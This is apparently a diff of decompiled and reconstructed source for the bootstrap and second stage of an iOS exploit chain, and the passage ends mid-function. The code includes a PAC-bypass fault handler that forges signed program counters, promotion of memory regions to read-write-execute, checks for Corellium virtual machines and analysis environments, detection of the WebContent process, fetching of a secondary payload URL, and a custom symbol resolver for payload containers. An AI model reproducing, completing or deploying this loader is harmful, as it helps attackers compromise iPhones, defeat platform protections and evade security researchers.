/* Install PAC SIGSEGV handler on iOS 13-14 arm64e only.
* On iOS 15+, the exploit uses a different PAC bypass strategy
* and does NOT need the SIGSEGV fault handler. */
uint16_t os_major = (ctx->os_version >> 16) & 0xFF;
print_log("[bootstrap] thread_main: os_major=%u has_pac=%d", os_major, has_pac());
if (os_major <= 14 && has_pac()) {
/* Install SIGSEGV handler for PAC faults */
print_log("[bootstrap] thread_main: installing PAC SIGSEGV handler");
struct sigaction sa, old_sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = (void (*)(int, siginfo_t *, void *))resolve_pac_pointer;
sa.sa_flags = SA_SIGINFO;
if (sigaction(SIGSEGV, &sa, &old_sa) != 0) {
err = *__error();
if (err < 0) err = (uint32_t)(-err);
err |= 0x40000000;
print_log("[bootstrap] thread_main: sigaction FAIL err=0x%x", err);
return (void *)(uintptr_t)err;
}
sig_installed = 1;
print_log("[bootstrap] thread_main: SIGSEGV handler installed");
}
/* Begin UIApplication background task */
UIBackgroundTaskIdentifier bg_task = UIBackgroundTaskInvalid;
UIApplication *app = [UIApplication alloc];
print_log("[bootstrap] thread_main: UIApplication=%p", app);
if (!app) {
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
return (void *)(uintptr_t)err;
}
id expireBlock = ^{
print_log("[bootstrap] bg_task_expired: ending task_id=%lu", (unsigned long)bg_task);
[app endBackgroundTask:bg_task];
//bg_task = UIBackgroundTaskInvalid;
};
// uint64_t underlyingClass = *(uint64_t*)expireBlock;
// __asm__ volatile("pacda %0, %1" : "+r"(underlyingClass) : "r"((uint64_t)expireBlock | (0x6ae1ll << 48)));
// *(uint64_t*)expireBlock = underlyingClass;
bg_task = [app beginBackgroundTaskWithExpirationHandler:expireBlock];
print_log("[bootstrap] thread_main: background task started id=%lu", (unsigned long)bg_task);
/* Process the payload */
char *url = ctx->secondary_url;
print_log("[bootstrap] thread_main: secondary_url=%s", url ? url : "(null)");
if (url) {
err = process_payload(ctx, url, 0, &result);
print_log("[bootstrap] thread_main: process_payload returned err=0x%x result=0x%x", err, result);
if (err == 0)
err = result;
} else {
err = 0;
}
/* End background task if it was started */
if (bg_task != UIBackgroundTaskInvalid) {
print_log("[bootstrap] thread_main: ending background task");
[app endBackgroundTask:bg_task];
bg_task = UIBackgroundTaskInvalid;
}
/* Restore SIGSEGV handler if we installed one */
if (sig_installed) {
print_log("[bootstrap] thread_main: restoring SIGSEGV handler");
struct sigaction old_sa;
if (sigaction(SIGSEGV, NULL, &old_sa) != 0) {
err = *__error();
if (err < 0) err = (uint32_t)(-err);
err |= 0x40000000;
print_log("[bootstrap] thread_main: sigaction restore FAIL err=0x%x", err);
}
}
/* Check if exit requested */
if (ctx->flag_exit) {
print_log("[bootstrap] thread_main: flag_exit set, calling _exit(0)");
_exit(0);
}
cleanup:
print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
return (void *)(uintptr_t)err;
done:
print_log("[bootstrap] thread_main: done err=0x%x", err);
return (void *)(uintptr_t)err;
}
+286
View File
@@ -0,0 +1,286 @@
/*
* memory.m - Cache, buffer allocation, and memory region management
*
* Decompiled from bootstrap.dylib offsets 0x5dc8-0x5fe8, 0x8298-0x842c
*/
#import "bootstrap.h"
#import <string.h>
#import <unistd.h>
#import <mach/mach.h>
#import <libkern/OSAtomic.h>
extern void sys_dcache_flush(void *addr, size_t size);
extern void sys_icache_invalidate(void *addr, size_t size);
extern int proc_pidinfo(int pid, int flavor, uint64_t arg,
void *buf, int bufsize);
/* ── flush_icache (0x5dc8) ───────────────────────────────────────── */
void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size)
{
uint8_t *base;
uint32_t total;
if (addr && size) {
base = (uint8_t *)addr;
total = size;
} else {
total = ctx->exec_size;
if (total == 0) return;
base = ctx->exec_base;
}
print_log("[bootstrap] flush_icache: base=%p size=0x%x", base, total);
uint32_t offset = 0;
uint32_t remaining = total;
while (total > offset) {
uint32_t chunk = remaining;
if (chunk > 0x50000)
chunk = 0x50000;
sys_dcache_flush(base + offset, chunk);
sys_icache_invalidate(base + offset, chunk);
offset += 0x50000;
remaining = total - offset;
}
}
/* ── alloc_buffer (0x5e78) ───────────────────────────────────────── */
uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size)
{
print_log("[bootstrap] alloc_buffer: size=0x%x", size);
uint8_t *exec_base = ctx->exec_base;
uint32_t exec_size = ctx->exec_size;
uint32_t *state = ctx->atomic_state;
if (!state)
state = (uint32_t *)(exec_base + exec_size - 4);
for (;;) {
uint32_t current = __atomic_load_n(state, __ATOMIC_ACQUIRE);
uint32_t add = size;
if (current == 0)
add += 4;
uint32_t new_val = current + add;
if (new_val > exec_size) {
print_log("[bootstrap] alloc_buffer: FAIL size exceeds exec region (0x%x > 0x%x)", new_val, exec_size);
return 0xc003;
}
uint32_t expected = current;
if (__atomic_compare_exchange_n(state, &expected, new_val,
0, __ATOMIC_ACQ_REL,
__ATOMIC_ACQUIRE))
{
uint8_t *ptr = exec_base + exec_size - new_val;
ctx->buffer_ptr = ptr;
ctx->buffer_remaining = size;
bzero(ptr, (size_t)size);
if (ctx->fn_icache_flush)
ctx->fn_icache_flush(ctx, ctx->buffer_ptr, ctx->buffer_remaining);
print_log("[bootstrap] alloc_buffer: OK ptr=%p", ptr);
return 0;
}
}
}
/* ── consume_buffer (0x5f4c) ─────────────────────────────────────── */
void *consume_buffer(bootstrap_ctx_t *ctx, uint32_t size)
{
if (ctx->buffer_remaining < size)
return NULL;
uint8_t *old = ctx->buffer_ptr;
ctx->buffer_ptr = old + size;
ctx->buffer_remaining -= size;
return old;
}
/* ── secure_bzero (0x5fa0) ───────────────────────────────────────── */
uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size)
{
if (ptr && size)
bzero(ptr, size);
return 0;
}
/* ── ensure_rwx_protection ───────────────────────────────────────── */
/* On modern iOS (14.5+), JIT regions may have current protection ---
* with max protection rwx. We need to vm_protect them to rwx before use.
*/
static uint32_t ensure_rwx_protection(uint64_t addr, uint64_t size,
uint32_t cur_prot, uint32_t max_prot)
{
if (cur_prot == 0x7) {
/* Already rwx */
return 0;
}
if (max_prot != 0x7) {
print_log("[bootstrap] ensure_rwx_protection: max_prot=0x%x (not rwx), cannot fix", max_prot);
return 0xc001;
}
print_log("[bootstrap] ensure_rwx_protection: promoting ---/rwx -> rwx/rwx at 0x%llx size=0x%llx",
(unsigned long long)addr, (unsigned long long)size);
kern_return_t kr = vm_protect(mach_task_self(), (vm_address_t)addr,
(vm_size_t)size, 0,
VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
print_log("[bootstrap] ensure_rwx_protection: vm_protect FAIL kr=0x%x", kr);
return kr | 0x80000000;
}
return 0;
}
/* ── setup_memory (0x8298) ───────────────────────────────────────── */
uint32_t setup_memory(bootstrap_ctx_t *ctx)
{
print_log("[bootstrap] setup_memory: flag_a=%d flag_b=%d flag_direct_mem=%d", ctx->flag_a, ctx->flag_b, ctx->flag_direct_mem);
if (ctx->flag_a || ctx->flag_b || ctx->flag_direct_mem) {
ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache;
if (!ctx->flag_b && !ctx->flag_direct_mem) {
ctx->buffer_remaining = 0;
return 0;
}
return 0;
}
uint32_t os_ver = ctx->os_version;
print_log("[bootstrap] setup_memory: os_ver=0x%x", os_ver);
if (os_ver >= 0x0F0000) {
/* iOS 15+: use proc_pidinfo (PROC_PIDREGIONINFO = 7) */
/* Returns struct proc_regioninfo (0x60 bytes):
* +0x00: pri_protection (uint32_t)
* +0x04: pri_max_protection (uint32_t)
* ...
* +0x50: pri_address (uint64_t)
* +0x58: pri_size (uint64_t)
*/
struct {
uint8_t data[0x60];
} info;
int ret = proc_pidinfo(getpid(), 7,
(uint64_t)ctx->buffer_ptr,
&info, 0x60);
if (ret <= 0) {
print_log("[bootstrap] setup_memory: proc_pidinfo FAIL ret=%d", ret);
return 0x80000005;
}
uint64_t region_addr = *(uint64_t *)((uint8_t *)&info + 0x50);
uint64_t region_size = *(uint64_t *)((uint8_t *)&info + 0x58);
uint32_t prot = *(uint32_t *)((uint8_t *)&info);
uint32_t max_prot = *(uint32_t *)((uint8_t *)&info + 4);
print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x",
(unsigned long long)region_addr, (unsigned long long)region_size, prot, max_prot);
if (!ctx->mmap_secondary && prot != 0x7) {
/* Current protection is not rwx — try to promote if max allows */
uint32_t fix_err = ensure_rwx_protection(region_addr, region_size, prot, max_prot);
if (fix_err) {
print_log("[bootstrap] setup_memory: cannot get rwx protection");
return fix_err;
}
}
if (!region_addr || !region_size)
return 0xc003;
uint64_t half = region_size >> 1;
if (half > region_size)
return 0xc003;
uint32_t *end = (uint32_t *)(region_addr + half);
end--;
if (half < *end)
return 0xc003;
ctx->atomic_state = end;
ctx->exec_base = (uint8_t *)(region_addr + half);
uint32_t usable;
if (ctx->flag_new_ios)
usable = (uint32_t)(half - 0x100000);
else
usable = (uint32_t)(region_size >> 2);
ctx->exec_size = usable;
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
print_log("[bootstrap] setup_memory: iOS15+ exec_base=%p exec_size=0x%x", ctx->exec_base, usable);
goto install_funcs;
}
/* Pre-iOS 15: use vm_region_64 */
{
mach_vm_address_t addr = (mach_vm_address_t)ctx->buffer_ptr;
mach_vm_size_t size_out = 0;
vm_region_flavor_t flavor = 9;
vm_region_basic_info_data_64_t info;
mach_msg_type_number_t count = 9;
mach_port_t object_name;
kern_return_t kr = vm_region_64(mach_task_self(),
(vm_address_t *)&addr,
(vm_size_t *)&size_out,
flavor,
(vm_region_info_t)&info,
&count,
&object_name);
if (kr != KERN_SUCCESS) {
print_log("[bootstrap] setup_memory: vm_region_64 FAIL kr=0x%x", kr);
return kr | 0x80000000;
}
uint32_t prot = info.protection;
uint32_t max_prot = info.max_protection;
print_log("[bootstrap] setup_memory: region addr=0x%llx size=0x%llx prot=0x%x max_prot=0x%x",
(unsigned long long)addr, (unsigned long long)size_out, prot, max_prot);
if (!ctx->mmap_secondary && prot != 0x7) {
/* Current protection is not rwx — try to promote if max allows */
uint32_t fix_err = ensure_rwx_protection(addr, size_out, prot, max_prot);
if (fix_err) {
print_log("[bootstrap] setup_memory: cannot get rwx protection");
return fix_err;
}
}
if (!addr || !size_out)
return 0xc003;
uint64_t half = size_out >> 1;
uint32_t *end = (uint32_t *)(addr + half);
end--;
if (half < *end)
return 0xc003;
ctx->atomic_state = end;
ctx->exec_base = (uint8_t *)(addr + half);
uint32_t usable;
if (ctx->flag_new_ios)
usable = (uint32_t)(half - 0x100000);
else
usable = (uint32_t)(size_out >> 2);
ctx->exec_size = usable;
ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
print_log("[bootstrap] setup_memory: pre-15 exec_base=%p exec_size=0x%x", ctx->exec_base, usable);
}
install_funcs:
ctx->fn_icache_flush = (fn_icache_flush_t)flush_icache;
print_log("[bootstrap] setup_memory: OK");
return 0;
}
+128
View File
@@ -0,0 +1,128 @@
/*
* pac.m - Pointer Authentication Code utilities
*
* Decompiled from bootstrap.dylib offsets 0x5cec-0x5dc4, 0x6fec-0x708c,
* 0x7ba0-0x7be8
*/
#import "bootstrap.h"
#import <stdlib.h>
/* ── Raw PAC instruction wrappers (0x7ba0-0x7bbc) ────────────────── */
__attribute__((noinline))
uint64_t pacia(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
__attribute__((noinline))
uint64_t pacda(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
__attribute__((noinline))
uint64_t pacib(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
__attribute__((noinline))
uint64_t pacdb(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* ── check_pac_enabled (0x7bc0) ──────────────────────────────────── */
int check_pac_enabled(void)
{
uint64_t test_val = 0xAAAAAAAAAAAAAAAAULL;
uint64_t result;
__asm__ volatile(
"mov x30, %1\n"
"xpaclri\n"
"mov %0, x30\n"
: "=r"(result)
: "r"(test_val)
: "x30"
);
int enabled = (result != test_val) ? 1 : 0;
print_log("[bootstrap] check_pac_enabled: %d", enabled);
return enabled;
}
/* ── has_pac (0x5cec) ────────────────────────────────────────────── */
int has_pac(void)
{
return check_pac_enabled() != 0 ? 1 : 0;
}
/* ── strip_pac (0x5d2c) ─────────────────────────────────────────── */
uint64_t strip_pac(uint64_t ptr)
{
uint64_t result;
__asm__ volatile(
"mov x30, %1\n"
"xpaclri\n"
"mov %0, x30\n"
: "=r"(result)
: "r"(ptr)
: "x30"
);
return result;
}
/* ── pac_sign_if_needed (0x5d68) ─────────────────────────────────── */
uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx)
{
if (check_pac_enabled())
ptr = pacia(ptr, ctx);
return ptr;
}
/* ── resolve_pac_pointer (0x6fec) ─────────────────────────────────
* SIGSEGV handler for PAC authentication faults.
*/
void resolve_pac_pointer(int sig, void *info, void *ucontext)
{
print_log("[bootstrap] resolve_pac_pointer: sig=%d", sig);
uint64_t *mctx = *(uint64_t **)((uint8_t *)ucontext + 0x30);
uint64_t pc = *(uint64_t *)((uint8_t *)mctx + 0x110);
uint64_t upper = pc >> 39;
if (upper == 0x4000) {
pc &= ~(1ULL << 53);
} else {
uint64_t x0_val = mctx[0];
uint64_t masked = x0_val & 0xFFFFFF8000000000ULL;
if (masked == 0x2000000000000000ULL) {
uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL;
uint64_t pc_low = pc & 0x7FFFFFFFFFULL;
if (x0_low != pc_low)
abort();
} else if (masked == 0x0020000000000000ULL) {
uint64_t x0_low = x0_val & 0x7FFFFFFFFFULL;
uint64_t pc_low = pc & 0x7FFFFFFFFFULL;
if (x0_low != pc_low)
abort();
} else {
abort();
}
pc = pac_sign_if_needed(x0_val & 0x7FFFFFFFFFULL, 0x7481);
}
*(uint64_t *)((uint8_t *)mctx + 0x110) = pc;
print_log("[bootstrap] resolve_pac_pointer: fixed PC=0x%llx", pc);
}
+466
View File
@@ -0,0 +1,466 @@
/*
* sysinfo.m - System information gathering and device checks
*
* Decompiled from bootstrap.dylib offsets 0x7090-0x7b9c
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <unistd.h>
#import <sys/stat.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
#import <dlfcn.h>
#import <CoreFoundation/CoreFoundation.h>
extern int sandbox_check(pid_t pid, const char *operation, int type, ...);
extern int SANDBOX_CHECK_NO_REPORT;
extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
extern kern_return_t host_kernel_version(mach_port_t, char *);
/* ── get_cpufamily ─────────────────────────────────────────────── */
/* Replacement for broken _get_cpu_capabilities commpage access.
* The original binary read CPUFAMILY from commpage offset +0x80
* via the GOT layout — that layout doesn't exist in our recompile.
* Use the stable sysctl interface instead.
*/
static uint32_t get_cpufamily(void)
{
uint32_t cpufamily = 0;
size_t size = sizeof(cpufamily);
if (sysctlbyname("hw.cpufamily", &cpufamily, &size, NULL, 0) != 0) {
print_log("[bootstrap] get_cpufamily: sysctl FAIL");
return 0;
}
return cpufamily;
}
/* ── read_plist (0x7a98) ────────────────────────────────────────── */
void *read_plist(const char *path)
{
print_log("[bootstrap] read_plist: %s", path);
CFErrorRef error = NULL;
CFAllocatorRef alloc = kCFAllocatorDefault;
size_t len = strlen(path);
CFURLRef url = CFURLCreateFromFileSystemRepresentation(alloc, (const UInt8 *)path, len, false);
if (!url)
return NULL;
CFReadStreamRef stream = CFReadStreamCreateWithFile(alloc, url);
if (!stream) {
CFRelease(url);
return NULL;
}
if (!CFReadStreamOpen(stream)) {
CFRelease(url);
CFRelease(stream);
return NULL;
}
CFPropertyListRef plist = CFPropertyListCreateWithStream(
alloc, stream, 0, kCFPropertyListImmutable, NULL, &error);
if (!plist && error)
CFRelease(error);
CFReadStreamClose(stream);
CFRelease(url);
CFRelease(stream);
return (void *)plist;
}
/* ── get_os_version (0x7090) ────────────────────────────────────── */
int get_os_version(uint32_t *out)
{
int patch = 0;
CFDictionaryRef plist = (CFDictionaryRef)read_plist(
"/System/Cryptexes/OS/System/Library/CoreServices/SystemVersion.plist");
if (!plist) {
plist = (CFDictionaryRef)read_plist(
"/System/Library/CoreServices/SystemVersion.plist");
if (!plist) {
print_log("[bootstrap] get_os_version: FAIL no SystemVersion.plist");
return -1;
}
}
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault,
"ProductVersion", kCFStringEncodingUTF8);
if (!key) {
CFRelease(plist);
return -1;
}
CFTypeRef value = CFDictionaryGetValue(plist, key);
if (!value) {
CFRelease(key);
CFRelease(plist);
return -1;
}
if (CFGetTypeID(value) != CFStringGetTypeID()) {
CFRelease(key);
CFRelease(plist);
return -1;
}
char buf[0x20];
Boolean ok = CFStringGetCString((CFStringRef)value, buf, 0x20, CFStringGetSystemEncoding());
CFRelease(key);
CFRelease(plist);
if (!ok)
return -1;
int major = 0, minor = 0;
if (sscanf(buf, "%d.%d.%d", &major, &minor, &patch) < 2)
return -2;
*out = (uint32_t)((major << 16) | (minor << 8) | patch);
print_log("[bootstrap] get_os_version: %s -> 0x%x (major=%d minor=%d patch=%d)", buf, *out, major, minor, patch);
return 0;
}
/* ── check_virtual_env (0x71fc) ─────────────────────────────────── */
uint32_t check_virtual_env(uint8_t *result)
{
if (!result)
return -1;
print_log("[bootstrap] check_virtual_env: start");
struct stat st;
memset(&st, 0, sizeof(st));
if (stat("/usr/libexec/corelliumd", &st) == 0) {
print_log("[bootstrap] check_virtual_env: Corellium daemon found");
*result = 0;
return 0;
}
if (sandbox_check(getpid(), "iokit-get-properties",
SANDBOX_CHECK_NO_REPORT,
"IOPlatformSerialNumber") > 0)
goto cpu_check;
{
void *iokit = dlopen("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", 1);
if (!iokit)
goto cpu_check;
void *sym_master = dlsym(iokit, "kIOMasterPortDefault");
uint64_t master_ptr = strip_pac((uint64_t)sym_master);
void *sym_entry = dlsym(iokit, "IORegistryEntryFromPath");
uint64_t entry_fn = strip_pac((uint64_t)sym_entry);
void *sym_prop = dlsym(iokit, "IORegistryEntryCreateCFProperty");
uint64_t prop_fn = strip_pac((uint64_t)sym_prop);
void *sym_release = dlsym(iokit, "IOObjectRelease");
uint64_t release_fn = strip_pac((uint64_t)sym_release);
if (!entry_fn || !prop_fn || !release_fn || !master_ptr) {
dlclose(iokit);
goto cpu_check;
}
typedef uint32_t (*io_entry_fn_t)(uint32_t, const char *);
uint32_t master = *(uint32_t *)master_ptr;
uint32_t entry = ((io_entry_fn_t)entry_fn)(master, "IODeviceTree:/");
if (!entry) {
dlclose(iokit);
goto cpu_check;
}
CFStringRef serial_key = CFStringCreateWithCString(
kCFAllocatorDefault, "IOPlatformSerialNumber", kCFStringEncodingUTF8);
int serial_ok = -1;
char serial_buf[0x40];
memset(serial_buf, 0, sizeof(serial_buf));
if (!serial_key) {
serial_ok = -1;
} else {
typedef CFTypeRef (*io_prop_fn_t)(uint32_t, CFStringRef, CFAllocatorRef, uint32_t);
CFTypeRef prop = ((io_prop_fn_t)prop_fn)(entry, serial_key, kCFAllocatorDefault, 0);
if (!prop || CFStringGetTypeID() != CFGetTypeID(prop)) {
serial_ok = -1;
} else {
Boolean got = CFStringGetCString((CFStringRef)prop, serial_buf, 0x40, kCFStringEncodingUTF8);
serial_ok = got ? 0 : -1;
CFRelease(prop);
}
CFRelease(serial_key);
}
typedef void (*io_release_fn_t)(uint32_t);
((io_release_fn_t)release_fn)(entry);
dlclose(iokit);
if (serial_ok == 0) {
print_log("[bootstrap] check_virtual_env: serial=%s", serial_buf);
uint64_t first8 = *(uint64_t *)serial_buf;
uint64_t corelliu = 0x49554C4C45524F43ULL;
uint8_t ninth = serial_buf[8];
memset(serial_buf, 0, sizeof(serial_buf));
if ((first8 ^ corelliu) == 0 && (ninth ^ 0x4D) == 0) {
print_log("[bootstrap] check_virtual_env: CORELLIUM serial detected");
*result = 0;
return 0;
}
}
}
cpu_check:
/* Original binary read from commpage via _get_cpu_capabilities GOT
* offset chain. That layout doesn't exist in our recompile.
* Use hw.cpufamily sysctl instead for SoC identification.
* The VM-specific bit checks (commpage +0x10 bit 26, +0x26 == 0x80)
* cannot be replicated via sysctl — Corellium detection above
* already covers the main virtual environment case.
*/
{
uint32_t soc = get_cpufamily();
print_log("[bootstrap] check_virtual_env: cpufamily=0x%x", soc);
if (soc == 0) {
/* Can't determine CPU family */
*result = 0;
return -1;
}
/* Real hardware detected — Corellium checks above didn't trigger */
*result = 1;
print_log("[bootstrap] check_virtual_env: result=%d", *result);
return 0;
}
}
/* ── check_device_a (0x7524) ────────────────────────────────────── */
int check_device_a(uint8_t *out)
{
if (!out)
return -1;
*out = 0;
uint32_t soc = get_cpufamily();
if (!soc)
return -2;
uint8_t device = 0;
if (soc <= (int32_t)SOC_TYPE_C) {
if (soc == SOC_TYPE_A || soc == SOC_TYPE_B) {
if (check_virtual_env(&device) != 0)
return -3;
}
} else {
if (soc == SOC_TYPE_D || soc == SOC_TYPE_E || soc == SOC_TYPE_F) {
if (check_virtual_env(&device) != 0)
return -3;
}
}
*out = device;
print_log("[bootstrap] check_device_a: cpufamily=0x%x device=%d", soc, device);
return 0;
}
/* ── check_device_b (0x7638) ────────────────────────────────────── */
int check_device_b(uint8_t *out)
{
if (!out)
return -1;
uint32_t soc = get_cpufamily();
if (!soc)
return -2;
if (soc == SOC_DEVICE_B_A || soc == SOC_DEVICE_B_B) {
uint8_t device = 1;
if (check_virtual_env(&device) != 0)
return -3;
*out = device;
} else {
*out = 0;
}
print_log("[bootstrap] check_device_b: cpufamily=0x%x out=%d", soc, *out);
return 0;
}
/* ── init_system_info (0x7720) ──────────────────────────────────── */
uint32_t init_system_info(bootstrap_ctx_t *ctx)
{
print_log("[bootstrap] init_system_info: start");
mach_msg_type_number_t count = 5;
struct {
uint64_t all_images_addr;
uint64_t all_images_size;
} dyld_info;
memset(&dyld_info, 0, sizeof(dyld_info));
kern_return_t kr = task_info(mach_task_self(), 17,
(task_info_t)&dyld_info, &count);
uint64_t all_images = dyld_info.all_images_addr;
if (kr != 0 || !all_images) {
print_log("[bootstrap] init_system_info: task_info FAIL kr=%d", kr);
return -1;
}
uint64_t info_array = *(uint64_t *)((uint8_t *)all_images + 0x20);
if (!info_array)
return -1;
uint32_t soc_ver = *(uint32_t *)((uint8_t *)info_array + 0x4);
uint32_t soc_sub = *(uint32_t *)((uint8_t *)info_array + 0x8) & 0xFFFFFF;
ctx->soc_version = soc_ver;
ctx->soc_subversion = soc_sub;
print_log("[bootstrap] init_system_info: soc_ver=0x%x soc_sub=0x%x", soc_ver, soc_sub);
uint32_t n_images = *(uint32_t *)((uint8_t *)all_images + 0x4);
if (!n_images)
return -1;
uint8_t *image_list = *(uint8_t **)((uint8_t *)all_images + 0x8);
if (!image_list)
return -1;
char *path0 = *(char **)(image_list + 0x8);
uint8_t is_wc = 0;
if (strstr(path0, "WebContent")) {
is_wc = 1;
} else {
uint8_t *last = image_list + (uint64_t)(n_images - 1) * 0x18;
char *path_last = *(char **)(last + 0x8);
is_wc = strstr(path_last, "WebContent") ? 1 : 0;
}
ctx->is_webcontent = is_wc;
print_log("[bootstrap] init_system_info: is_webcontent=%d", is_wc);
/* Use sysctl for CPU identification instead of commpage reads */
uint32_t cpufamily = get_cpufamily();
if (!cpufamily) {
print_log("[bootstrap] init_system_info: get_cpufamily FAIL");
return -1;
}
ctx->cpu_type = cpufamily;
/* cpu_features: not used by bootstrap itself, set to 0.
* Original binary read from commpage offset +0x38 which is
* no longer accessible via our recompiled GOT layout. */
ctx->cpu_features = 0;
print_log("[bootstrap] init_system_info: cpu_type=0x%x (cpufamily)", ctx->cpu_type);
uint32_t os_ver;
int ret = get_os_version(&os_ver);
if (ret != 0) {
print_log("[bootstrap] init_system_info: get_os_version FAIL ret=%d", ret);
return ret;
}
ctx->os_version = os_ver;
char kern_str_[0x200] = {0};
char *kern_str = kern_str_;
if ((os_ver & 0xFE0000) > 0xD0000) {
uint32_t name[2] = { CTL_KERN, KERN_VERSION };
size_t len = 0x200;
if (sysctl((int *)name, 2, kern_str, &len, NULL, 0) != 0) {
print_log("[bootstrap] init_system_info: sysctl kern FAIL");
return -2;
}
} else {
if (host_kernel_version(mach_host_self(), kern_str) != 0)
return -2;
}
print_log("[bootstrap] init_system_info: kernel=%s", kern_str);
if (!strstr(kern_str, "RELEASE")) {
print_log("[bootstrap] init_system_info: kernel is not RELEASE");
return -3;
}
if (!(kern_str = strstr(kern_str, "xnu-"))) {
print_log("[bootstrap] init_system_info: kernel does not contain xnu-");
return -4;
}
uint32_t xnu_maj = 0, xnu_min = 0, xnu_rev = 0, xnu_bld = 0, xnu_sub = 0;
if (sscanf(kern_str, "xnu-%d.%d.%d.%d.%d%*s",
&xnu_maj, &xnu_min, &xnu_rev, &xnu_bld, &xnu_sub) <= 2) {
print_log("[bootstrap] init_system_info: kernel version parsing failed");
//return -5;
}
ctx->kernel_version = (xnu_maj << 18) | (xnu_min << 9) | xnu_rev;
uint64_t xv = ((uint64_t)(xnu_maj & 0x7FFF) << 20) |
((uint64_t)xnu_min << 10) |
(uint64_t)(xnu_rev & 0x3FF);
xv = (xv << 20) | ((uint64_t)(xnu_bld << 10) & 0xFFC00) |
(uint64_t)(xnu_sub & 0x3FF);
ctx->xnu_version = xv;
uint8_t dev_type;
if (check_device_b(&dev_type) != 0) {
print_log("[bootstrap] init_system_info: check_device_b FAIL");
return ret;
}
ctx->flag_is_release = dev_type;
uint8_t dev_a;
if (check_device_a(&dev_a) != 0) {
print_log("[bootstrap] init_system_info: check_device_a FAIL");
return ret;
}
ctx->flag_device_type = dev_a;
uint8_t new_ios = 0;
if (soc_ver == 0x01000C && soc_sub >= 2) {
uint8_t major = (os_ver >> 16) & 0xFF;
if (major > 12) {
new_ios = 1;
} else if (major == 12) {
new_ios = ((os_ver & 0xFF00) != 0) ? 1 : 0;
}
}
ctx->flag_new_ios = new_ios;
uint8_t a15_feat = 0;
if (dev_a) {
uint32_t ver = ctx->os_version;
if ((ver >> 10) >= 0x3C1) {
uint32_t cpu = ctx->cpu_type;
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B || cpu == SOC_TYPE_F) {
a15_feat = 1;
}
}
}
ctx->flag_a15_features = a15_feat;
print_log("[bootstrap] init_system_info: OK os=0x%x new_ios=%d dev_a=%d a15=%d", os_ver, new_ios, dev_a, a15_feat);
return 0;
}
+139
View File
@@ -0,0 +1,139 @@
/*
* dlsym.c - Custom symbol resolution from F00DBEEF containers
*
* Decompiled from entry2_type0x0f.dylib offsets 0x1dbc00x1dd60
*
* Instead of using the standard dlsym(), entry2 has its own symbol
* resolution mechanism that works with F00DBEEF-formatted containers.
* This is used to resolve "_driver" from the type0x09 LOADER dylib
* without going through dyld.
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
/* ── e2_create_resolver (0x1dbc0) ────────────────────────────────── *
* Creates a symbol resolver object (0x38 bytes) that can look up
* symbols from a loaded dylib's export trie or symbol table.
*
* The resolver wraps an internal dyld handle obtained via 0x1e748
* (likely _dyld_process_info_create or similar) and populates a
* vtable with PAC-signed lookup functions.
*
* Vtable layout (0x38 bytes):
* +0x00: flags (0x10001)
* +0x08: dyld_handle (from internal dyld query)
* +0x10: fn_lookup — resolves a symbol name to address
* +0x18: fn_iterate — iterate exports
* +0x20: fn_info — get module info
* +0x28: fn_close — cleanup
* +0x30: fn_query — query capabilities
*/
kern_return_t e2_create_resolver(symbol_resolver_t **out)
{
if (!out)
return E2_ERR_NULL;
/* Get internal dyld handle */
void *dyld_handle = NULL;
kern_return_t kr;
/* 0x1e748: queries dyld internals — likely uses
* _dyld_process_info_create / _dyld_process_info_for_each_image
* to enumerate loaded images */
kr = /* e2_get_dyld_handle */ 0; /* placeholder: 0x1e748(&dyld_handle) */
if (kr != KERN_SUCCESS)
return kr;
symbol_resolver_t *resolver = calloc(1, 0x38);
if (!resolver) {
/* cleanup dyld_handle: 0x1e688 */
return E2_ERR_ALLOC;
}
resolver->flags = 0x10001;
resolver->dyld_handle = dyld_handle;
/* PAC-sign each vtable function pointer with paciza.
* These are at relative offsets from the adr instructions:
* +0x10: adr x16, #+428 → lookup function
* +0x18: adr x16, #+544 → iterate function
* +0x20: adr x16, #+716 → info function
* +0x28: adr x16, #+828 → close function
* +0x30: adr x16, #+1048 → query function
*/
/* resolver->fn_lookup = paciza(lookup_func);
* resolver->fn_18 = paciza(iterate_func);
* resolver->fn_20 = paciza(info_func);
* resolver->fn_28 = paciza(close_func);
* resolver->fn_30 = paciza(query_func); */
*out = resolver;
return KERN_SUCCESS;
}
/* ── e2_custom_dlsym (0x1dc98) ───────────────────────────────────── *
* Custom dlsym implementation that resolves symbols from F00DBEEF
* containers. This is the mechanism used to resolve "_driver" from
* the type0x09 LOADER.
*
* Flow:
* 1. Validate the container has F00DBEEF magic
* 2. Check bounds: entry_count * 16 + 8 must fit in size
* 3. Create a resolver via e2_create_resolver
* 4. Call the resolver's lookup function to find the symbol
* 5. Store result in the output object
*
* Parameters:
* output — receives the parsed container/module context
* container — raw F00DBEEF container data from type0x09
* size — byte length of container data
*/
kern_return_t e2_custom_dlsym(void *output, void *container, uint32_t size)
{
if (!output || !container || !size)
